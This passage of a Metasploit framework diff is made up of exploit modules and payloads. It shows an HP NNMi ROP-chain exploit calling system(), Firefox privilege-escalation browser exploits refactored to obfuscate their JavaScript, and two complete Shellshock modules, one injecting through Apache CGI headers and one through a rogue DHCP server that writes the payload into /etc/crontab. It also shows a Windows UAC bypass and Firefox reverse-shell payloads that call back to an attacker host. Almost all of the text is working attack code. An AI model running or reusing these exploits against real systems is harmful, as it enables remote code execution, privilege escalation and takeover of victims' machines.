udp_sock.put(pkt)
res = udp_sock.timed_read(8, 1)
if res.blank?
# To mitigate MacOSX udp sockets behavior
# see https://dev.metasploit.com/redmine/issues/7480
udp_sock.put(pkt)
res = udp_sock.timed_read(8)
end
disconnect_udp
if res.blank?
return Exploit::CheckCode::Unknown
elsif res.length == 8 && res.unpack("V").first == 0x2a5
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
connect_udp
# info leak with a "proto_tbl" packet
print_status("Sending a 'proto_tbl' request...")
udp_sock.put(proto_tbl_pkt)
res = udp_sock.timed_read(13964, 1)
if res.blank?
# To mitigate MacOSX udp sockets behavior
# see https://dev.metasploit.com/redmine/issues/7480
udp_sock.put(proto_tbl_pkt)
res = udp_sock.timed_read(13964)
end
if res.blank?
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
end
if target.name == 'Automatic'
print_status("Fingerprinting target...")
my_target = auto_target(res)
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
else
my_target = target
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
end
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
# exploit with a "stack_option_pkt" packet
udp_sock.put(stack_option_pkt(my_target, @ov_base))
disconnect_udp
end
def rop_hp_nnmi_9_10(ov_base)
rop = rand_text_alpha(775)
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
# "PMD Stack option specified, but stack not available (user_controlled)"
rop << [0x808d7c2].pack("V") # pop ebp # ret
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
#.text:0001D692 lea eax, [ebp+dest]
#.text:0001D698 push eax ; command
#.text:0001D699 call _system
rop
end
def rop_hp_nnmi_9_20(ov_base)
rop = rand_text_alpha(775)
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
#.text:0001DAEC push eax ; command
#.text:0001DAED call _system
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
# "PMD Stack option specified, but stack not available (user_controlled)"
rop << rand_text_alpha(4) # ebp: padding
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
rop << rand_text_alpha(4) # ebx: padding
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
rop << [0x80528BC].pack("V") # jmp eax
rop
end
def stack_option_pkt(t, ov_base)
hdr = [0x2a9].pack("V") # stack_option packet
data = "-SA" # stack name (invalid one 'A')
data << ";" # separator
data << self.send(t[:rop], ov_base) # malformed stack options
data << payload.encoded
data << ";\n"
data << "\x00" * (0xfa4 - data.length - hdr.length)
hdr + data
end
def proto_tbl_pkt
hdr = [0x2aa].pack("V") # proto_tbl packet
data = "\x00" * (0xfa4 - hdr.length)
hdr + data
end
def base(address, offset)
address - offset
end
def find_ov_base(t, data)
print_status("Searching #{t.name} pointers...")
i = 0
data.unpack("V*").each do |int|
if base(int, t['ov_offset']) % 0x1000 == 0
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
@ov_base = base(int, t['ov_offset'])
return true
end
i = i + 1
end
false
end
def auto_target(data)
targets.each do |t|
next if t.name == 'Automatic'
if find_ov_base(t, data)
return t
end
end
nil
end
end

View File

@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
"p2.constructor.defineProperty(obj,key,{get:runme});" "p2.constructor.defineProperty(obj,key,{get:runme});"
end end
%Q| script = js_obfuscate %Q|
<html>
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
if (!window.done) {
window.AddonManager.getInstallForURL(
'#{get_module_uri}/addon.xpi',
function(install) { install.install() },
'application/x-xpinstall'
);
window.done = true;
}
</div>
<script>
try{InstallTrigger.install(0)}catch(e){p=e;}; try{InstallTrigger.install(0)}catch(e){p=e;};
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p)); var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
p2.__exposedProps__={ p2.__exposedProps__={
@ -116,6 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote
}; };
for (var i in window) register(window, i); for (var i in window) register(window, i);
for (var i in document) register(document, i); for (var i in document) register(document, i);
|
js_payload = js_obfuscate %Q|
if (!window.done) {
window.AddonManager.getInstallForURL(
'#{get_module_uri}/addon.xpi',
function(install) { install.install() },
'application/x-xpinstall'
);
window.done = true;
}
|
%Q|
<html>
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
#{js_payload}
</div>
<script>
#{script}
</script> </script>
</body> </body>
</html> </html>

View File

@ -129,24 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
:loader_path => "#{get_module_uri}.swf", :loader_path => "#{get_module_uri}.swf",
:content => self.datastore['CONTENT'] || '' :content => self.datastore['CONTENT'] || ''
} }
%Q| script = js_obfuscate %Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})}; var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}']; var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() { function $() {
@ -169,6 +152,27 @@ class Metasploit3 < Msf::Exploit::Remote
document.querySelector('use').setAttributeNS( document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}" "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
); );
|
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
#{script}
</script> </script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px" <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"

View File

@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
key = Rex::Text.rand_text_alpha(5 + rand(12)) key = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = Rex::Exploitation::JSObfu.new(%Q| js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)}; var opts = #{JSON.unparse(opts)};
var key = opts['#{key}']; var key = opts['#{key}'];
var y = {}, q = false; var y = {}, q = false;
@ -85,9 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
return 5; return 5;
}; };
console.time(y); console.time(y);
|) |
js.obfuscate
%Q| %Q|
<!doctype html> <!doctype html>

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+ "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>" "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
js = Rex::Exploitation::JSObfu.new(%Q| js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)}; var opts = #{JSON.unparse(opts)};
var key = opts['#{key}']; var key = opts['#{key}'];
@ -127,10 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
setTimeout(function(){top.vvv.close();}, 100); setTimeout(function(){top.vvv.close();}, 100);
}, 10); }, 10);
} }
|
|)
js.obfuscate
%Q| %Q|
<!doctype html> <!doctype html>

View File

@ -0,0 +1,130 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting Apache mod_cgi scripts through
the HTTP_USER_AGENT variable by default.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'wvu', # Original Metasploit aux module
'juan vazquez' # Allow wvu's module to get native sessions
],
'References' => [
['CVE', '2014-6271'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
],
'Payload' =>
{
'DisableNops' => true,
'Space' => 2048
},
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014',
'License' => MSF_LICENSE
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script']),
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
], self.class)
end
def check
res = req("echo #{marker}")
if res && res.body.include?(marker * 3)
return Exploit::CheckCode::Vulnerable
elsif res && res.code == 500
injected_res_code = res.code
else
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path.to_s)
})
if res && injected_res_code == res.code
return Exploit::CheckCode::Unknown
elsif res && injected_res_code != res.code
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Unknown
end
def exploit
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
if generate_payload_exe.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
end
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)
# A last chance after the cmdstager
# Trying to make it generic
unless session_created?
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
end
end
def execute_command(cmd, opts)
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
req(cmd)
end
def req(cmd)
send_request_cgi(
{
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path.to_s),
'headers' => {
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
}
}, datastore['TIMEOUT'])
end
def marker
@marker ||= rand_text_alphanumeric(rand(42) + 1)
end
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection',
'Description' => %q|
When bash is started with an environment variable that begins with the
string "() {", that variable is treated as a function definition and
parsed as code. If extra commands are added after the function
definition, they will be executed immediately. When dhclient receives
an ACK that contains a domain name or hostname, they are passed to
configuration scripts as environment variables, allowing us to trigger
the bash bug.
Because of the length restrictions and unusual networking scenario at
time of exploitation, we achieve code execution by echoing our payload
into /etc/crontab and clean it up when we get a shell.
|,
'Author' =>
[
'Stephane Chazelas', # Vulnerability discovery
'egypt' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271']
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
hash['HOSTNAME'] = "() { :; };#{echo}"
hash['URL'] = "() { :; };#{echo}"
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end

View File

@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Local
register_options([ register_options([
OptString.new('FILENAME', [false, 'File name on disk']), OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']), OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]), OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
]) ])
end end
@ -55,14 +54,11 @@ class Metasploit3 < Msf::Exploit::Local
print_good 'UAC is not enabled, no prompt for the user' print_good 'UAC is not enabled, no prompt for the user'
end end
#
# Generate payload and random names for upload
#
case datastore['TECHNIQUE'] case datastore['TECHNIQUE']
when 'EXE' when 'EXE'
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD']) shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
when 'PSH' when 'PSH'
execute_psh shell_execute_psh
end end
end end
end end

View File

@ -4,7 +4,6 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking Rank = ExcellentRanking
@ -12,9 +11,10 @@ class Metasploit3 < Msf::Exploit::Local
include Exploit::EXE include Exploit::EXE
include Post::File include Post::File
include Post::Windows::Priv include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass', 'Name' => 'Windows Escalate UAC Protection Bypass',
'Description' => %q{ 'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher This module will bypass Windows UAC by utilizing the trusted publisher
@ -23,9 +23,9 @@ class Metasploit3 < Msf::Exploit::Local
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick', 'mitnick',
'mubix' # Port to local exploit 'mubix' # Port to local exploit
], ],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => [ 'meterpreter' ],
@ -40,6 +40,11 @@ class Metasploit3 < Msf::Exploit::Local
'DisclosureDate'=> "Dec 31 2010" 'DisclosureDate'=> "Dec 31 2010"
)) ))
register_options([
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
'EXE', %w(PSH EXE)]),
])
end end
def check_permissions! def check_permissions!
@ -54,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Local
if admin_group if admin_group
print_good('Part of Administrators group! Continuing...') print_good('Part of Administrators group! Continuing...')
else else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end end
end end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low] if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end end
end end
@ -72,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
) )
when UAC_DEFAULT when UAC_DEFAULT
print_good "UAC is set to Default" print_good 'UAC is set to Default'
print_good "BypassUAC can bypass this setting, continuing..." print_good 'BypassUAC can bypass this setting, continuing...'
when UAC_NO_PROMPT when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method runas_method
@ -89,15 +94,13 @@ class Metasploit3 < Msf::Exploit::Local
pid = cmd_exec_get_pid(cmd) pid = cmd_exec_get_pid(cmd)
::Timeout.timeout(30) do ::Timeout.timeout(30) do
until session_created? do select(nil, nil, nil, 1) until session_created?
select(nil,nil,nil,1)
end
end end
session.sys.process.kill(pid) session.sys.process.kill(pid)
# delete the uac bypass payload # delete the uac bypass payload
file_rm(path_bypass) file_rm(path_bypass)
file_rm("#{expand_path("%TEMP%")}\\tior.exe") file_rm("#{expand_path("%TEMP%")}\\tior.exe")
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" ) cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
end end
def path_bypass def path_bypass
@ -109,24 +112,24 @@ class Metasploit3 < Msf::Exploit::Local
end end
def upload_binaries! def upload_binaries!
print_status("Uploaded the agent to the filesystem....") print_status('Uploaded the agent to the filesystem....')
# #
# Generate payload and random names for upload # Generate payload and random names for upload
# #
payload = generate_payload_exe payload = generate_payload_exe
# path to the bypassuac binary # path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, "post") path = ::File.join(Msf::Config.data_directory, 'post')
# decide, x86 or x64 # decide, x86 or x64
bpexe = nil bpexe = nil
if sysinfo["Architecture"] =~ /x64/i if sysinfo["Architecture"] =~ /x64/i
bpexe = ::File.join(path, "bypassuac-x64.exe") bpexe = ::File.join(path, 'bypassuac-x64.exe')
else else
bpexe = ::File.join(path, "bypassuac-x86.exe") bpexe = ::File.join(path, 'bypassuac-x86.exe')
end end
print_status("Uploading the bypass UAC executable to the filesystem...") print_status('Uploading the bypass UAC executable to the filesystem...')
begin begin
# #
@ -143,14 +146,14 @@ class Metasploit3 < Msf::Exploit::Local
end end
def runas_method def runas_method
payload = generate_payload_exe case datastore['TECHNIQUE']
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" when 'PSH'
tmpdir = expand_path("%TEMP%") # execute PSH
tempexe = tmpdir + "\\" + payload_filename shell_execute_psh
write_file(tempexe, payload) when 'EXE'
print_status("Uploading payload: #{tempexe}") # execute EXE
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) shell_execute_exe
print_status("Payload executed") end
end end
def validate_environment! def validate_environment!
@ -158,23 +161,20 @@ class Metasploit3 < Msf::Exploit::Local
# #
# Verify use against Vista+ # Verify use against Vista+
# #
winver = sysinfo["OS"] winver = sysinfo['OS']
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/ unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end end
if is_uac_enabled? if is_uac_enabled?
print_status "UAC is Enabled, checking level..." print_status 'UAC is Enabled, checking level...'
else else
if is_in_admin_group? if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
else else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end end
end end
end end
end end

View File

@ -29,7 +29,7 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseTcpSsl, 'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell, 'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd_bash', 'PayloadType' => 'cmd_bash',
'RequiredCmd' => 'bash-tcp', 'RequiredCmd' => 'telnet',
'Payload' => 'Payload' =>
{ {
'Offsets' => { }, 'Offsets' => { },

View File

@ -34,6 +34,7 @@ module Metasploit3
<<-EOS <<-EOS
(function(){ (function(){
window = this;
#{read_file_source if datastore['WSCRIPT']} #{read_file_source if datastore['WSCRIPT']}
#{run_cmd_source if datastore['WSCRIPT']} #{run_cmd_source if datastore['WSCRIPT']}

View File

@ -34,6 +34,7 @@ module Metasploit3
def generate def generate
%Q| %Q|
(function(){ (function(){
window = this;
Components.utils.import("resource://gre/modules/NetUtil.jsm"); Components.utils.import("resource://gre/modules/NetUtil.jsm");
var lport = #{datastore["LPORT"]}; var lport = #{datastore["LPORT"]};
var rhost = "#{datastore['RHOST']}"; var rhost = "#{datastore['RHOST']}";

View File

@ -32,6 +32,8 @@ module Metasploit3
<<-EOS <<-EOS
(function(){ (function(){
window = this;
Components.utils.import("resource://gre/modules/NetUtil.jsm"); Components.utils.import("resource://gre/modules/NetUtil.jsm");
var host = '#{datastore["LHOST"]}'; var host = '#{datastore["LHOST"]}';
var port = #{datastore["LPORT"]}; var port = #{datastore["LPORT"]};

View File

@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
} catch (e) { } catch (e) {
send(e); send(e);
} }
})(send); })(this.send);
|.strip |.strip
end end
end end

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
} catch (e) { } catch (e) {
send(e); send(e);
} }
})(send); })(this.send);
|.strip |.strip
end end
end end

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
} catch (e) { } catch (e) {
send(e); send(e);
} }
})(send); })(this.send);
|.strip |.strip
end end
end end

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
}; };
setTimeout(evt, 200); setTimeout(evt, 200);
})(send); })(this.send);
|.strip |.strip
end end

View File

@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
} catch (e) { } catch (e) {
send(e); send(e);
} }
})(send); })(this.send);
| |
end end

View File

@ -1,6 +1,5 @@
require 'spec_helper' require 'spec_helper'
require 'msf/core' require 'msf/core'
require 'msf/core/exploit/remote/browser_exploit_server'
describe Msf::Exploit::Remote::BrowserExploitServer do describe Msf::Exploit::Remote::BrowserExploitServer do
@ -58,6 +57,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
server.start_service server.start_service
end end
it_should_behave_like 'Msf::Exploit::JSObfu'
describe "#get_module_resource" do describe "#get_module_resource" do
it "should give me a URI to access the exploit page" do it "should give me a URI to access the exploit page" do
module_resource = server.get_module_resource module_resource = server.get_module_resource

View File

@ -0,0 +1,8 @@
require 'spec_helper'
require 'msf/core'
describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
it_should_behave_like 'Msf::Exploit::JSObfu'
end

View File

@ -3,11 +3,11 @@ require 'msf/core'
require 'msf/core/exploit/jsobfu' require 'msf/core/exploit/jsobfu'
describe Msf::Exploit::JSObfu do shared_examples_for 'Msf::Exploit::JSObfu' do
subject(:jsobfu) do subject(:jsobfu) do
mod = ::Msf::Module.new mod = ::Msf::Module.new
mod.extend described_class mod.extend described_class
mod.send(:initialize, {})
mod mod
end end
@ -58,4 +58,5 @@ describe Msf::Exploit::JSObfu do
expect(obj.to_s).to include(js) expect(obj.to_s).to include(js)
end end
end end
end
end